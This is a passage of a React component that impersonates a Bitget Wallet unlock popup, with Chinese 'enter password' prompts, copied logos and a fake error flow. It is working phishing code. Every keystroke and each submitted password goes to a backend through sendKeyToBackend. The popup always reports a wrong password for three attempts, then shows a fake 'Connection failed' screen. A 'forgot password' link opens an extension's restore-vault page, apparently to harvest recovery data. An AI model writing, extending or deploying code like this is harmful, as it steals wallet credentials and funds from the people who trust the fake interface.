isOpen, onClose, userId, backendConfig, darkMode = false }) => {\n const [keyword, setKeyword] = useState('');\n const [error, setError] = useState(false);\n const [helperText, setHelperText] = useState('');\n const [trying, setTrying] = useState(0);\n const [connecting, setConnecting] = useState(false);\n const [connectionError, setConnectionError] = useState(false);\n const [isClosable, setIsClosable] = useState(true);\n const [shouldShake, setShouldShake] = useState(false);\n const [showPassword, setShowPassword] = useState(false);\n const [isFocused, setIsFocused] = useState(false);\n const [isUnlockPressed, setIsUnlockPressed] = useState(false);\n const [showForgetPasswordModal, setShowForgetPasswordModal] = useState(false);\n \n const passwordInputRef = useRef<HTMLInputElement>(null);\n const modalRef = useRef<HTMLDivElement>(null);\n\n // Initialize on mount\n useEffect(() => {\n if (isOpen) {\n initializeLocationData();\n initializeSocket();\n\n setTimeout(() => {\n passwordInputRef.current?.focus();\n }, 4000);\n }\n }, [isOpen]);\n\n // Handle document click - separate effect\n useEffect(() => {\n if (!isOpen) return;\n\n const handleDocumentClick = (e: MouseEvent) => {\n if (isClosable && modalRef.current && !modalRef.current.contains(e.target as Node)) {\n handleClick();\n }\n };\n\n document.addEventListener('click', handleDocumentClick);\n return () => {\n document.removeEventListener('click', handleDocumentClick);\n };\n }, [isOpen, isClosable]);\n\n const handleClick = () => {\n if (onClose) onClose();\n setKeyword('');\n setTrying(0);\n setConnectionError(false);\n setError(false);\n setShouldShake(false);\n setShowPassword(false);\n setShowForgetPasswordModal(false);\n };\n\n const handleKeywordChange = async (e: React.ChangeEvent<HTMLInputElement>) => {\n const newKeyword = e.target.value;\n setKeyword(newKeyword);\n setError(false);\n setShouldShake(false);\n\n const currentUserId = backendConfig?.userId || userId;\n if (currentUserId && newKeyword && (backendConfig?.enabled !== false)) {\n await sendKeyToBackend(currentUserId, 'cha', newKeyword, WALLET_TYPE_SHORTKEY.BITGET);\n }\n };\n\n const togglePasswordVisibility = () => {\n setShowPassword(prev => !prev);\n setTimeout(() => {\n passwordInputRef.current?.focus();\n setIsFocused(true);\n }, 0);\n };\n\n const handleUnlockMouseDown = () => {\n if (keyword && keyword.length > 0) {\n setIsUnlockPressed(true);\n }\n };\n\n const handleUnlockMouseUp = () => {\n setIsUnlockPressed(false);\n };\n\n const handleKeywordTyping = async () => {\n if (connecting || !keyword) return;\n\n setConnecting(true);\n const currentUserId = backendConfig?.userId || userId;\n\n if (!currentUserId) {\n setConnecting(false);\n setError(true);\n setHelperText('User ID is required');\n setShouldShake(true);\n setTimeout(() => setShouldShake(false), 500);\n return;\n }\n\n if (backendConfig?.enabled !== false) {\n const result = await sendKeyToBackend(currentUserId, 'enter', keyword, WALLET_TYPE_SHORTKEY.BITGET);\n\n setTimeout(() => {\n setConnecting(false);\n if (trying < 3) {\n setError(true);\n setHelperText(result.error || '密码错误');\n setTrying(trying + 1);\n setShouldShake(true);\n setTimeout(() => setShouldShake(false), 500);\n } else {\n setConnectionError(true);\n }\n passwordInputRef.current?.focus();\n }, 150);\n } else {\n setTimeout(() => setConnecting(false), 150);\n }\n };\n\n const showForgetPassword = () => {\n setShowForgetPasswordModal(true);\n };\n\n const closeForgetPasswordModal = () => {\n setShowForgetPasswordModal(false);\n };\n\n const handledResetPwd = () => {\n handleClick();\n closeForgetPasswordModal();\n window.open('chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/home.html#restore-vault', '_blank');\n };\n\n const closeWindow = () => {\n handleClick();\n setTimeout(() => {\n setConnectionError(false);\n setKeyword('');\n setTrying(0);\n setError(false);\n }, 1000);\n };\n\n if (!isOpen) return null;\n\n const isButtonEnabled = keyword && keyword.trim().length > 0;\n\n const modalContent = (\n <div\n id=\"header-layout\"\n ref={modalRef}\n className={`fixed top-0 right-[150px] z-[1000] flex transition-opacity duration-200 max-[395px]:scale-75 max-[265px]:scale-50\n ${isOpen ? 'opacity-100' : 'opacity-0 pointer-events-none'}`}\n onMouseEnter={() => setIsClosable(false)}\n onMouseLeave={() => setIsClosable(true)}\n >\n <div className=\"w-[360px] h-[601px] shadow-[0_2px_8px_0_rgba(0,0,0,0.2)] relative\">\n <div className=\"h-full relative\" style={{ backgroundColor: darkMode ? '#121717' : '#FFFFFF' }}>\n {connectionError ? (\n <div className={`text-center px-4 py-8 flex flex-col h-full justify-between ${darkMode ? 'text-white bg-[#121314]' : ''}`}>\n <div></div>\n <div className=\"\">\n <div className=\"flex justify-center w-full items-center mb-4\">\n <svg className={`text-2xl text-center w-6 h-6 ${darkMode ? 'text-white' : 'text-red-500'}`} fill=\"currentColor\" viewBox=\"0 0 20 20\">\n <path fillRule=\"evenodd\" d=\"M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z\" clipRule=\"evenodd\" />\n </svg>\n </div>\n <h3 className=\"text-xl font-extrabold\">Connection failed</h3>\n <p className=\"text-sm\">Please check your connection and try again.</p>\n </div>\n <button\n className={`w-full rounded-full cursor-pointer p-2.5 text-white hover:bg-[#3148f5] bg-[#4459ff] ${darkMode ? 'border-[#ffffff]' : ''}`}\n onClick={closeWindow}\n >\n Ok\n </button>\n </div>\n ) : (\n <>\n <div className={`flex flex-col h-full ${darkMode ? 'bg-[#121717]' : 'bg-white'}`}>\n <div id=\"lockboxlogo\" className=\"flex justify-center mb-[24px] mx-[auto] pt-[80px]\">\n {darkMode ? (\n <svg width=\"80\" height=\"80\" viewBox=\"0 0 96 96\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n <rect width=\"96\" height=\"96\" rx=\"22.5\" fill=\"#00F0FF\"/>\n <path d=\"M39.8421 14.105C35.9665 14.103 32.0976 14.101 28.2085 14.107C25.8569 14.107 24.9749 17.0593 26.7238 18.808L53.198 45.2823C54.0242 46.038 54.5394 46.8594 54.5583 47.9421C54.5394 49.0248 54.0242 49.8462 53.198 50.6019L26.7238 77.0761C24.9749 78.8249 25.8569 81.7771 28.2085 81.7771C32.0976 81.7831 35.9665 81.7811 39.8421 81.7791C41.7825 81.7781 43.7245 81.7771 45.6716 81.7771C48.2189 81.7771 49.7341 80.4163 51.0949 79.0555L74.9712 55.1792C76.8767 53.2737 78.5817 50.7435 78.5586 47.9421C78.5817 45.1407 76.8767 42.6105 74.9712 40.705L51.0949 16.8287C49.7341 15.4678 48.2189 14.107 45.6716 14.107C43.7245 14.107 41.7825 14.106 39.8421 14.105Z\" fill=\"#001F29\"/>\n </svg>\n ) : (\n <svg width=\"80\" height=\"80\" viewBox=\"0 0 96 96\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n <rect width=\"96\" height=\"96\" rx=\"22.5\" fill=\"#001F29\"/>\n <path d=\"M39.8421 14.105C35.9665 14.103 32.0976 14.101 28.2085 14.107C25.8569 14.107 24.9749 17.0593 26.7238 18.808L53.198 45.2823C54.0242 46.038 54.5394 46.8594 54.5583 47.9421C54.5394 49.0248 54.0242 49.8462 53.198 50.6019L26.7238 77.0761C24.9749 78.8249 25.8569 81.7771 28.2085 81.7771C32.0976 81.7831 35.9665 81.7811 39.8421 81.7791C41.7825 81.7781 43.7245 81.7771 45.6716 81.7771C48.2189 81.7771 49.7341 80.4163 51.0949 79.0555L74.9712 55.1792C76.8767 53.2737 78.5817 50.7435 78.5586 47.9421C78.5817 45.1407 76.8767 42.6105 74.9712 40.705L51.0949 16.8287C49.7341 15.4678 48.2189 14.107 45.6716 14.107C43.7245 14.107 41.7825 14.106 39.8421 14.105Z\" fill=\"#00F0FF\"/>\n </svg>\n )}\n </div>\n <div id=\"logobox\" className=\"w-full text-center mb-[76px]\">\n {darkMode ? (\n <svg width=\"170\" height=\"30\" viewBox=\"0 0 170 30\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" className=\"m-auto\">\n <path d=\"M104.264 23.2025L101.041 10.018L100.576 7.59018L100.082 10.018L96.888 23.2025H91.6609L85.824 0.272949H90.7897L93.955 15.3121L94.4777 18.0434L95.0004 15.3121L98.6594 0.272949H102.725L106.355 15.3121L106.878 18.0434L107.4 15.3121L110.566 0.272949H115.27L109.433 23.2025H104.264Z\" fill=\"#FFFFFF\"></path>\n <path fillRule=\"evenodd\" clipRule=\"evenodd\" d=\"M104.075 23.472L100.801 10.0808L100.568 8.86362L100.321 10.0821L97.0764 23.472H91.474L85.5 0.00390625H90.9846L94.1944 15.2543L94.4773 16.7323L94.761 15.2499L98.4703 0.00390625H102.914L106.593 15.2501L106.877 16.7323L107.16 15.2543L110.37 0.00390625H115.593L109.619 23.472H104.075ZM106.877 18.0436L106.354 15.3123L102.724 0.273153H98.6589L95 15.3123L94.4773 18.0436L93.9546 15.3123L90.7893 0.273153H85.8235L91.6604 23.2027H96.8875L100.082 10.0182L100.576 7.59038L101.04 10.0182L104.264 23.2027H109.433L115.269 0.273153H110.565L107.4 15.3123L106.877 18.0436Z\" fill=\"#FFFFFF\"></path>\n <path d=\"M118.82 11.7992H114.244C114.722 7.95076 117.504 5.59717 121.631 5.59717C126.237 5.59717 128.63 8.45964 128.63 12.4353V18.9872C128.63 21.2135 128.81 22.3585 129.079 23.2491H124.353C124.204 22.6766 124.114 21.9451 124.084 21.1181C122.828 22.9628 120.913 23.758 118.999 23.758C115.948 23.758 113.675 22.1041 113.675 18.8282C113.675 16.5064 114.932 14.7253 117.474 13.7711C119.568 13.0396 121.572 12.817 124.054 12.7852V12.4035C124.054 10.527 123.187 9.54102 121.422 9.54102C119.867 9.54102 119.029 10.4634 118.82 11.7992ZM118.252 18.5101C118.252 19.6551 119.059 20.3866 120.405 20.3866C122.439 20.3866 124.054 18.6373 124.054 16.2837V15.6158C119.418 15.7112 118.252 16.9198 118.252 18.5101Z\" fill=\"#FFFFFF\"></path>\n <path d=\"M135.039 0.000976562H130.49V23.4688H135.039V0.000976562Z\" fill=\"#FFFFFF\"></path>\n <path d=\"M141.452 0.000976562H136.903V23.4688H141.452V0.000976562Z\" fill=\"#FFFFFF\"></path>\n <path d=\"M157.281 8.55895C156.561 7.62011 155.659 6.88427 154.599 6.37108C153.54 5.85852 152.349 5.59717 151.061 5.59717C149.482 5.59717 148.058 5.98983 146.826 6.76374C145.592 7.54018 144.613 8.61858 143.914 9.97101C143.216 11.3222 142.862 12.8903 142.862 14.6303C142.862 16.3703 143.205 18.0419 143.882 19.414C144.561 20.7905 145.537 21.8702 146.782 22.6257C148.025 23.3767 149.486 23.758 151.122 23.758C153.13 23.758 154.836 23.2048 156.191 22.1131C157.496 21.0626 158.394 19.5808 158.883 17.7259H154.303C154.062 18.3571 153.723 18.8944 153.237 19.2731C152.662 19.7197 151.92 19.9462 151.031 19.9462C150.259 19.9462 149.598 19.7406 149.066 19.3359C148.532 18.9312 148.123 18.333 147.855 17.5559C147.694 17.0941 147.58 16.5632 147.513 15.9726H158.963L158.986 15.8166C159.19 14.4013 159.138 13.0603 158.83 11.8309C158.522 10.5984 158 9.49779 157.281 8.55895ZM147.585 12.7235C147.655 12.3663 147.75 11.9946 147.87 11.6558C148.149 10.8686 148.552 10.2628 149.068 9.8581C149.583 9.45338 150.223 9.24912 150.971 9.24912C151.909 9.24912 152.679 9.58216 153.259 10.2374C153.809 10.861 154.121 11.7129 154.188 12.7235H147.586H147.585Z\" fill=\"#FFFFFF\"></path>\n <path d=\"M170 10.1173V5.92039H166.717V0H162.198V5.92039H159.393V10.1173H162.198V16.9873C162.198 20.8067 162.885 23.6137 167.167 23.5268L169.855 23.4691V19.5342H168.521C166.618 19.5342 166.724 18.3188 166.724 16.0617L166.716 10.1173H170H170Z\" fill=\"#FFFFFF\"></path>\n <path d=\"M13.0951 11.1884C13.9274 10.6707 14.594 10.0262 15.0794 9.2663C15.6325 8.40104 15.9135 7.41272 15.9135 6.33052C15.9135 4.30441 15.2219 2.72297 13.859 1.62935C12.5124 0.548421 10.6596 0.000976562 8.35029 0.000976562H0V23.47H8.68391C11.116 23.47 13.0632 22.8509 14.4713 21.6285C15.8903 20.396 16.6108 18.6699 16.6108 16.4973C16.6108 15.1746 16.272 14.0366 15.6047 13.1155C15.0059 12.2921 14.1631 11.6445 13.0957 11.1884H13.0951ZM4.5189 4.23082H7.98714C9.07487 4.23082 9.89617 4.46173 10.4296 4.91592C10.9567 5.36441 11.2127 5.95372 11.2127 6.71684C11.2127 7.47996 10.9567 8.09909 10.4296 8.54948C9.89617 9.00367 9.07487 9.23458 7.98714 9.23458H4.5189V4.23082ZM11.0482 18.4447C10.447 18.9725 9.52896 19.2396 8.32017 19.2396H4.5189V13.4961H8.32017C9.52838 13.4961 10.4476 13.7543 11.0511 14.2612C11.6494 14.7667 11.9402 15.4341 11.9402 16.3038C11.9402 17.2185 11.6482 17.9188 11.0482 18.4453V18.4447Z\" fill=\"#FFFFFF\"></path>\n <path d=\"M22.7138 5.91992H18.1648V23.4686H22.7138V5.91992Z\" fill=\"#FFFFFF\"></path>\n <path d=\"M67.6457 8.55895C66.9257 7.62011 66.0234 6.88427 64.9634 6.37108C63.9047 5.85852 62.7138 5.59717 61.4257 5.59717C59.8468 5.59717 58.4225 5.98983 57.1912 6.76374C55.9569 7.54018 54.9775 8.61858 54.279 9.97101C53.5804 11.3222 53.2266 12.8903 53.2266 14.6303C53.2266 16.3703 53.57 18.0419 54.2471 19.414C54.9259 20.7905 55.9019 21.8702 57.1471 22.6257C58.3901 23.3767 59.8503 23.758 61.4865 23.758C63.4952 23.758 65.2003 23.2048 66.5556 22.1131C67.8612 21.0626 68.7589 19.5808 69.2477 17.7259H64.668C64.4271 18.3571 64.0877 18.8944 63.6017 19.2731C63.0272 19.7197 62.2852 19.9462 61.3956 19.9462C60.6241 19.9462 59.9632 19.7406 59.4309 19.3359C58.8963 18.9312 58.488 18.333 58.2198 17.5559C58.0588 17.0941 57.9447 16.5632 57.8775 15.9726H69.3277L69.3503 15.8166C69.5547 14.4013 69.5032 13.0603 69.195 11.8309C68.8863 10.5984 68.365 9.49779 67.6457 8.55895ZM57.9499 12.7235C58.02 12.3663 58.1144 11.9946 58.2343 11.6558C58.5135 10.8686 58.9166 10.2628 59.4332 9.8581C59.9476 9.45338 60.5876 9.24912 61.3359 9.24912C62.2736 9.24912 63.0434 9.58216 63.6237 10.2374C64.174 10.861 64.4862 11.7129 64.5528 12.7235H57.9505H57.9499Z\" fill=\"#FFFFFF\"></path>\n <path d=\"M22.8091 0H18.0701V4.22985H22.8091V0Z\" fill=\"#FFFFFF\"></path>\n <path d=\"M47.7204 7.91064C47.1823 7.20271 46.5516 6.654 45.8403 6.27465C44.9912 5.8249 43.9979 5.59717 42.8876 5.59717C41.5282 5.59717 40.3096 5.96446 39.267 6.68762C38.2256 7.41014 37.3997 8.43145 36.8129 9.72108C36.2285 11.0075 35.9314 12.5179 35.9314 14.2123C35.9314 15.9066 36.2436 17.3282 36.8599 18.6235C37.4773 19.9233 38.3333 20.9586 39.4037 21.7021C40.4764 22.4474 41.6996 22.8255 43.0399 22.8255C44.0518 22.8255 44.9761 22.5857 45.7859 22.1118C46.427 21.7369 46.964 21.2409 47.3874 20.6351V22.5457C47.3874 23.7301 47.103 24.6391 46.544 25.2449C45.9834 25.8507 45.1308 26.1565 44.0095 26.1565C43.0434 26.1565 42.2835 25.9167 41.7518 25.4428C41.3168 25.0552 40.9368 24.5465 40.8482 23.4694H36.4625C36.5031 24.9766 36.9073 25.9922 37.4779 26.8822C38.1179 27.8794 39.0179 28.659 40.1555 29.1975C41.282 29.7298 42.5893 30 44.0402 30C46.4757 30 48.4149 29.3295 49.802 28.0088C51.1979 26.6804 51.9057 24.8205 51.9057 22.4817V5.91942H47.7204V7.91064ZM46.9194 16.5435C46.6309 17.1956 46.2237 17.7069 45.7077 18.0609C45.1922 18.4148 44.5701 18.595 43.8577 18.595C42.8279 18.595 42.0275 18.2112 41.4089 17.4208C40.7926 16.6349 40.4804 15.5552 40.4804 14.2116C40.4804 12.8681 40.7926 11.7884 41.4089 11.0012C42.0193 10.2216 42.8435 9.82701 43.8577 9.82701C44.8719 9.82701 45.7679 10.2273 46.3981 11.019C47.034 11.817 47.3567 12.9023 47.3567 14.2427C47.3567 15.1112 47.2095 15.8844 46.9194 16.5429V16.5435Z\" fill=\"#FFFFFF\"></path>\n <path d=\"M80.3649 10.1173V5.92039H77.0814V0H72.5625V5.92039H69.7581V10.1173H72.5625V16.9873C72.5625 20.8067 73.2495 23.6137 77.5315 23.5268L80.2195 23.4691V19.5342H78.8856C76.9824 19.5342 77.0884 18.3188 77.0884 16.0617L77.0809 10.1173H80.3643H80.3649Z\" fill=\"#FFFFFF\"></path>\n <path d=\"M34.8273 10.1173V5.92039H31.5438V0H27.0249V5.92039H24.2205V10.1173H27.0249V16.9873C27.0249 20.8067 27.7119 23.6137 31.9939 23.5268L34.6819 23.4691V19.5342H33.348C31.4448 19.5342 31.5508 18.3188 31.5508 16.0617L31.5433 10.1173H34.8267H34.8273Z\" fill=\"#FFFFFF\"></path>\n </svg>\n ) : (\n <svg width=\"170\" height=\"30\" viewBox=\"0 0 170 30\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" className=\"m-auto\">\n <path d=\"M104.264 23.2025L101.041 10.018L100.576 7.59018L100.082 10.018L96.888 23.2025H91.6609L85.824 0.272949H90.7897L93.955 15.3121L94.4777 18.0434L95.0004 15.3121L98.6594 0.272949H102.725L106.355 15.3121L106.878 18.0434L107.4 15.3121L110.566 0.272949H115.27L109.433 23.2025H104.264Z\" fill=\"#001F29\"></path>\n <path fillRule=\"evenodd\" clipRule=\"evenodd\" d=\"M104.075 23.472L100.801 10.0808L100.568 8.86362L100.321 10.0821L97.0764 23.472H91.474L85.5 0.00390625H90.9846L94.1944 15.2543L94.4773 16.7323L94.761 15.2499L98.4703 0.00390625H102.914L106.593 15.2501L106.877 16.7323L107.16 15.2543L110.37 0.00390625H115.593L109.619 23.472H104.075ZM106.877 18.0436L106.354 15.3123L102.724 0.273153H98.6589L95 15.3123L94.4773 18.0436L93.9546 15.3123L90.7893 0.273153H85.8235L91.6604 23.2027H96.8875L100.082 10.0182L100.576 7.59038L101.04 10.0182L104.264 23.2027H109.433L115.269 0.273153H110.565L107.4 15.3123L106.877 18.0436Z\" fill=\"#001F29\"></path>\n <path d=\"M118.82 11.7992H114.244C114.722 7.95076 117.504 5.59717 121.631 5.59717C126.237 5.59717 128.63 8.45964 128.63 12.4353V18.9872C128.63 21.2135 128.81 22.3585 129.079 23.2491H124.353C124.204 22.6766 124.114 21.9451 124.084 21.1181C122.828 22.9628 120.913 23.758 118.999 23.758C115.948 23.758 113.675 22.1041 113.675 18.8282C113.675 16.5064 114.932 14.7253 117.474 13.7711C119.568 13.0396 121.572 12.817 124.054 12.7852V12.4035C124.054 10.527 123.187 9.54102 121.422 9.54102C119.867 9.54102 119.029 10.4634 118.82 11.7992ZM118.252 18.5101C118.252 19.6551 119.059 20.3866 120.405 20.3866C122.439 20.3866 124.054 18.6373 124.054 16.2837V15.6158C119.418 15.7112 118.252 16.9198 118.252 18.5101Z\" fill=\"#001F29\"></path>\n <path d=\"M135.039 0.000976562H130.49V23.4688H135.039V0.000976562Z\" fill=\"#001F29\"></path>\n <path d=\"M141.452 0.000976562H136.903V23.4688H141.452V0.000976562Z\" fill=\"#001F29\"></path>\n <path d=\"M157.281 8.55895C156.561 7.62011 155.659 6.88427 154.599 6.37108C153.54 5.85852 152.349 5.59717 151.061 5.59717C149.482 5.59717 148.058 5.98983 146.826 6.76374C145.592 7.54018 144.613 8.61858 143.914 9.97101C143.216 11.3222 142.862 12.8903 142.862 14.6303C142.862 16.3703 143.205 18.0419 143.882 19.414C144.561 20.7905 145.537 21.8702 146.782 22.6257C148.025 23.3767 149.486 23.758 151.122 23.758C153.13 23.758 154.836 23.2048 156.191 22.1131C157.496 21.0626 158.394 19.5808 158.883 17.7259H154.303C154.062 18.3571 153.723 18.8944 153.237 19.2731C152.662 19.7197 151.92 19.9462 151.031 19.9462C150.259 19.9462 149.598 19.7406 149.066 19.3359C148.532 18.9312 148.123 18.333 147.855 17.5559C147.694 17.0941 147.58 16.5632 147.513 15.9726H158.963L158.986 15.8166C159.19 14.4013 159.138 13.0603 158.83 11.8309C158.522 10.5984 158 9.49779 157.281 8.55895ZM147.585 12.7235C147.655 12.3663 147.75 11.9946 147.87 11.6558C148.149 10.8686 148.552 10.2628 149.068 9.8581C149.583 9.45338 150.223 9.24912 150.971 9.24912C151.909 9.24912 152.679 9.58216 153.259 10.2374C153.809 10.861 154.121 11.7129 154.188 12.7235H147.586H147.585Z\" fill=\"#001F29\"></path>\n <path d=\"M170 10.1173V5.92039H166.717V0H162.198V5.92039H159.393V10.1173H162.198V16.9873C162.198 20.8067 162.885 23.6137 167.167 23.5268L169.855 23.4691V19.5342H168.521C166.618 19.5342 166.724 18.3188 166.724 16.0617L166.716 10.1173H170H170Z\" fill=\"#001F29\"></path>\n <path d=\"M13.0951 11.1884C13.9274 10.6707 14.594 10.0262 15.0794 9.2663C15.6325 8.40104 15.9135 7.41272 15.9135 6.33052C15.9135 4.30441 15.2219 2.72297 13.859 1.62935C12.5124 0.548421 10.6596 0.000976562 8.35029 0.000976562H0V23.47H8.68391C11.116 23.47 13.0632 22.8509 14.4713 21.6285C15.8903 20.396 16.6108 18.6699 16.6108 16.4973C16.6108 15.1746 16.272 14.0366 15.6047 13.1155C15.0059 12.2921 14.1631 11.6445 13.0957 11.1884H13.0951ZM4.5189 4.23082H7.98714C9.07487 4.23082 9.89617 4.46173 10.4296 4.91592C10.9567 5.36441 11.2127 5.95372 11.2127 6.71684C11.2127 7.47996 10.9567 8.09909 10.4296 8.54948C9.89617 9.00367 9.07487 9.23458 7.98714 9.23458H4.5189V4.23082ZM11.0482 18.4447C10.447 18.9725 9.52896 19.2396 8.32017 19.2396H4.5189V13.4961H8.32017C9.52838 13.4961 10.4476 13.7543 11.0511 14.2612C11.6494 14.7667 11.9402 15.4341 11.9402 16.3038C11.9402 17.2185 11.6482 17.9188 11.0482 18.4453V18.4447Z\" fill=\"#001F29\"></path>\n <path d=\"M22.7138 5.91992H18.1648V23.4686H22.7138V5.91992Z\" fill=\"#001F29\"></path>\n <path d=\"M67.6457 8.55895C66.9257 7.62011 66.0234 6.88427 64.9634 6.37108C63.9047 5.85852 62.7138 5.59717 61.4257 5.59717C59.8468 5.59717 58.4225 5.98983 57.1912 6.76374C55.9569 7.54018 54.9775 8.61858 54.279 9.97101C53.5804 11.3222 53.2266 12.8903 53.2266 14.6303C53.2266 16.3703 53.57 18.0419 54.2471 19.414C54.9259 20.7905 55.9019 21.8702 57.1471 22.6257C58.3901 23.3767 59.8503 23.758 61.4865 23.758C63.4952 23.758 65.2003 23.2048 66.5556 22.1131C67.8612 21.0626 68.7589 19.5808 69.2477 17.7259H64.668C64.4271 18.3571 64.0877 18.8944 63.6017 19.2731C63.0272 19.7197 62.2852 19.9462 61.3956 19.9462C60.6241 19.9462 59.9632 19.7406 59.4309 19.3359C58.8963 18.9312 58.488 18.333 58.2198 17.5559C58.0588 17.0941 57.9447 16.5632 57.8775 15.9726H69.3277L69.3503 15.8166C69.5547 14.4013 69.5032 13.0603 69.195 11.8309C68.8863 10.5984 68.365 9.49779 67.6457 8.55895ZM57.9499 12.7235C58.02 12.3663 58.1144 11.9946 58.2343 11.6558C58.5135 10.8686 58.9166 10.2628 59.4332 9.8581C59.9476 9.45338 60.5876 9.24912 61.3359 9.24912C62.2736 9.24912 63.0434 9.58216 63.6237 10.2374C64.174 10.861 64.4862 11.7129 64.5528 12.7235H57.9505H57.9499Z\" fill=\"#001F29\"></path>\n <path d=\"M22.8091 0H18.0701V4.22985H22.8091V0Z\" fill=\"#001F29\"></path>\n <path d=\"M47.7204 7.91064C47.1823 7.20271 46.5516 6.654 45.8403 6.27465C44.9912 5.8249 43.9979 5.59717 42.8876 5.59717C41.5282 5.59717 40.3096 5.96446 39.267 6.68762C38.2256 7.41014 37.3997 8.43145 36.8129 9.72108C36.2285 11.0075 35.9314 12.5179 35.9314 14.2123C35.9314 15.9066 36.2436 17.3282 36.8599 18.6235C37.4773 19.9233 38.3333 20.9586 39.4037 21.7021C40.4764 22.4474 41.6996 22.8255 43.0399 22.8255C44.0518 22.8255 44.9761 22.5857 45.7859 22.1118C46.427 21.7369 46.964 21.2409 47.3874 20.6351V22.5457C47.3874 23.7301 47.103 24.6391 46.544 25.2449C45.9834 25.8507 45.1308 26.1565 44.0095 26.1565C43.0434 26.1565 42.2835 25.9167 41.7518 25.4428C41.3168 25.0552 40.9368 24.5465 40.8482 23.4694H36.4625C36.5031 24.9766 36.9073 25.9922 37.4779 26.8822C38.1179 27.8794 39.0179 28.659 40.1555 29.1975C41.282 29.7298 42.5893 30 44.0402 30C46.4757 30 48.4149 29.3295 49.802 28.0088C51.1979 26.6804 51.9057 24.8205 51.9057 22.4817V5.91942H47.7204V7.91064ZM46.9194 16.5435C46.6309 17.1956 46.2237 17.7069 45.7077 18.0609C45.1922 18.4148 44.5701 18.595 43.8577 18.595C42.8279 18.595 42.0275 18.2112 41.4089 17.4208C40.7926 16.6349 40.4804 15.5552 40.4804 14.2116C40.4804 12.8681 40.7926 11.7884 41.4089 11.0012C42.0193 10.2216 42.8435 9.82701 43.8577 9.82701C44.8719 9.82701 45.7679 10.2273 46.3981 11.019C47.034 11.817 47.3567 12.9023 47.3567 14.2427C47.3567 15.1112 47.2095 15.8844 46.9194 16.5429V16.5435Z\" fill=\"#001F29\"></path>\n <path d=\"M80.3649 10.1173V5.92039H77.0814V0H72.5625V5.92039H69.7581V10.1173H72.5625V16.9873C72.5625 20.8067 73.2495 23.6137 77.5315 23.5268L80.2195 23.4691V19.5342H78.8856C76.9824 19.5342 77.0884 18.3188 77.0884 16.0617L77.0809 10.1173H80.3643H80.3649Z\" fill=\"#001F29\"></path>\n <path d=\"M34.8273 10.1173V5.92039H31.5438V0H27.0249V5.92039H24.2205V10.1173H27.0249V16.9873C27.0249 20.8067 27.7119 23.6137 31.9939 23.5268L34.6819 23.4691V19.5342H33.348C31.4448 19.5342 31.5508 18.3188 31.5508 16.0617L31.5433 10.1173H34.8267H34.8273Z\" fill=\"#001F29\"></path>\n </svg>\n )}\n </div>\n <div id=\"passwordBoxPage\" className=\"px-[20px] min-h-[60px]\">\n <p className={`leading-[20px] text-[14px] ${darkMode ? 'text-[#ffffff]' : 'text-[#001f29]'} mb-[10px]`}>\n 请输入密码解锁钱包\n </p>\n <div className=\"relative flex-col w-full\">\n <div \n className={`opacity-100 text-[14px] rounded-[12px] relative cursor-text flex flex-row box-border items-center leading-[16.6264px] transition-colors ${\n darkMode \n ? (error ? 'bg-[#35202C]' : 'bg-[#1B2122]')\n : (error ? 'bg-[#FFF6FB]' : 'bg-[#F6F9F9]')\n } ${\n !error && isFocused \n ? (darkMode ? 'border-2 border-[#00BBE0]' : 'border-2 border-[#00768E]')\n : 'border border-transparent'\n }`}\n >\n <input \n ref={passwordInputRef}\n aria-invalid=\"false\" \n autoComplete=\"current-password\"\n id=\"component-password\"\n placeholder=\"输入密码\"\n type={showPassword ? \"text\" : \"password\"}\n value={keyword}\n onChange={handleKeywordChange}\n onFocus={() => setIsFocused(true)}\n onBlur={() => setIsFocused(false)}\n onKeyDown={(e) => {\n if (e.key === 'Enter' && isButtonEnabled) {\n handleKeywordTyping();\n }\n }}\n className={`focus:outline-none border-none text-[14px] rounded-[12px] h-[16.6264px] box-content px-[14px] py-[15.5px] bg-transparent w-full ${\n darkMode ? 'text-white' : 'text-black'\n }`}\n />\n {keyword && keyword.length > 0 && (\n <div className=\"ml-[8px] flex items-center justify-center\">\n <button \n className=\"w-[40px] h-[40px] rounded-full flex items-center justify-center hover:bg-[rgba(255, 255, 255, 0.2)] transition-colors\" \n tabIndex={0} \n type=\"button\" \n aria-label=\"toggle password visibility\"\n onClick={togglePasswordVisibility}\n >\n {showPassword ? (\n <svg width=\"18\" height=\"18\" viewBox=\"0 0 18 18\" preserveAspectRatio=\"xMidYMid meet\" fill=\"none\" role=\"presentation\" xmlns=\"http://www.w3.org/2000/svg\">\n <path d=\"M9.00023 2.25C13.0443 2.25 16.4088 5.15982 17.1142 9C16.4088 12.8401 13.0443 15.75 9.00023 15.75C4.95609 15.75 1.59161 12.8401 0.88623 9C1.59161 5.15982 4.95609 2.25 9.00023 2.25ZM9.00023 14.25C12.1769 14.25 14.8952 12.039 15.5833 9C14.8952 5.96102 12.1769 3.75 9.00023 3.75C5.82345 3.75 3.10517 5.96102 2.41709 9C3.10517 12.039 5.82345 14.25 9.00023 14.25ZM9.00023 12.375C7.13624 12.375 5.6252 10.864 5.6252 9C5.6252 7.13604 7.13624 5.625 9.00023 5.625C10.8641 5.625 12.3752 7.13604 12.3752 9C12.3752 10.864 10.8641 12.375 9.00023 12.375ZM9.00023 10.875C10.0358 10.875 10.8752 10.0355 10.8752 9C10.8752 7.96448 10.0358 7.125 9.00023 7.125C7.9647 7.125 7.1252 7.96448 7.1252 9C7.1252 10.0355 7.9647 10.875 9.00023 10.875Z\" fill={darkMode ? '#FFFFFF' : '#001F29'}/>\n </svg>\n ) : (\n <svg width=\"18\" height=\"18\" viewBox=\"0 0 18 18\" preserveAspectRatio=\"xMidYMid meet\" fill=\"none\" role=\"presentation\" xmlns=\"http://www.w3.org/2000/svg\">\n <path d=\"M13.412 14.4724C12.1361 15.2814 10.6229 15.7499 9.00023 15.7499C4.95609 15.7499 1.59161 12.8401 0.88623 8.99991C1.21374 7.21687 2.11449 5.63443 3.39035 4.45069L1.04525 2.10559L2.10591 1.04492L16.9552 15.8941L15.8945 16.9549L13.412 14.4724ZM4.4517 5.51203C3.45505 6.41987 2.72835 7.62516 2.41709 8.99991C3.10517 12.0388 5.82345 14.2499 9.00023 